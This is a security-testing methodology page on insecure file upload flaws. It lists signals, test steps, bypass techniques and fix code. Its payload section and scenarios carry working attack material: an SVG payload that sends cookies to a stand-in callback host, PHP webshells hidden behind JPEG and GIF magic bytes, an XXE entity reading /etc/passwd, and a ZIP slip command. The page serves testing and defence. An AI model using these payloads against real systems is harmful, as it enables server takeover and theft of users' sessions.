Insecure file upload

Insecure File Upload

What Is Broken and Why

File upload endpoints that validate file type only by extension or Content-Type header allow attackers to upload executable files, XSS payloads, XXE-triggering documents, or path-traversal archives. Depending on where files are stored and served, impact ranges from stored XSS to full remote code execution.

Key Signals

• multipart/form-data POST endpoints accepting user files
• File extensions accepted beyond images/docs (or poorly validated)
• Server echoes original filename in response or URL
• Files served from same origin as application (not separate CDN/domain)
• Archive extraction features (ZIP, tar)
• Office document processing (DOCX, XLSX, PPTX — all ZIP+XML internally)
• Image processing pipelines (ImageMagick, Pillow, libvips)

Methodology

1. Upload a valid file; note the URL/path where it's stored and served.
2. Check if files are served from same origin (XSS scope) or separate domain.
3. Attempt extension bypass: shell.php.jpg, shell.php%00.jpg, shell.jpg.php.
4. Modify Content-Type to image/jpeg while uploading a PHP/JSP file.
5. Prepend valid magic bytes to malicious content; attempt upload.
6. Test SVG upload — inject <svg onload="..."> for XSS.
7. Test DOCX/XLSX upload with XXE payload inside XML.
8. For archive extraction: craft ZIP with ../ paths (ZIP slip).
9. Check if filename is reflected anywhere — test for path traversal and injection.

Payloads & Tools

# SVG XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://CALLBACK/?c='+document.cookie)"/>

# PHP webshell disguised as JPEG (magic bytes prepend)
printf '\xff\xd8\xff\xe0' > shell.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg

# Null byte bypass (older systems)
filename: shell.php%00.jpg

# XXE in DOCX — inject into word/document.xml inside the archive
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

# ZIP slip
zip --symlinks traversal.zip ../../etc/passwd

# Polyglot GIF+PHP
GIF89a<?php system($_GET['cmd']); ?>

Magic bytes reference:

Type	Hex
JPEG	FF D8 FF
PNG	89 50 4E 47 0D 0A 1A 0A
GIF	47 49 46 38
PDF	25 50 44 46
ZIP/DOCX	50 4B 03 04

Bypass Techniques

Attack	Technique
Extension bypass	shell.php.jpg — server splits on first dot
Double extension	shell.jpg.php — server uses last extension
Null byte	shell.php%00.jpg — older parsers truncate at null
MIME spoof	Content-Type: image/jpeg on PHP file
Magic byte prepend	Prefix file with valid JPEG/GIF header bytes
Polyglot	File valid as both JPEG and PHP simultaneously
SVG with JS	XML-based, browsers execute onload from same origin
XXE in Office	DOCX/XLSX are ZIP+XML; inject DTD in contained XML
ZIP slip	Archive paths containing ../ extract outside intended dir
Content-type sniff	Omit Content-Type; let browser sniff — bypass nosniff-less servers

Exploitation Scenarios

Stored XSS via SVG: Setup → Application accepts SVG avatar uploads, serves them from same origin. Trigger → Upload SVG with <svg onload="fetch('https://CALLBACK/?c='+document.cookie)">. Impact → Any user viewing the avatar triggers XSS; session tokens exfiltrated.

RCE via PHP upload: Setup → PHP application accepts image uploads, validates only Content-Type header. Trigger → Upload shell.php with Content-Type: image/jpeg; access via direct URL. Impact → Remote command execution on server.

XXE via XLSX import: Setup → Application parses Excel files for data import. Trigger → Upload crafted XLSX with XXE payload in sheet XML referencing internal files. Impact → Server-side file read; possible SSRF to internal metadata endpoints.

False Positives

• Upload endpoints that store files outside webroot and never serve them directly — RCE risk is mitigated, but XXE/ZIP slip may still apply.
• Files renamed server-side to random UUIDs — original extension irrelevant for stored XSS but magic byte and content validation still matters.

Fix Patterns

# Validate magic bytes, not just extension
import magic
allowed_mimes = {'image/jpeg', 'image/png', 'image/gif'}
detected = magic.from_buffer(file.read(2048), mime=True)
if detected not in allowed_mimes:
    raise ValueError("Invalid file type")

# Always rename to UUID; never use original filename
import uuid, os
ext_map = {'image/jpeg': '.jpg', 'image/png': '.png'}
safe_name = str(uuid.uuid4()) + ext_map[detected]

Related Skills

XXE payloads embedded in DOCX/XLSX connect directly to [[xxe]]. SVG XSS from same-origin uploads is [[xss-stored]]. Path traversal in zip extraction is [[path-traversal]]. If the upload URL is fetched server-side, pivot to [[ssrf]].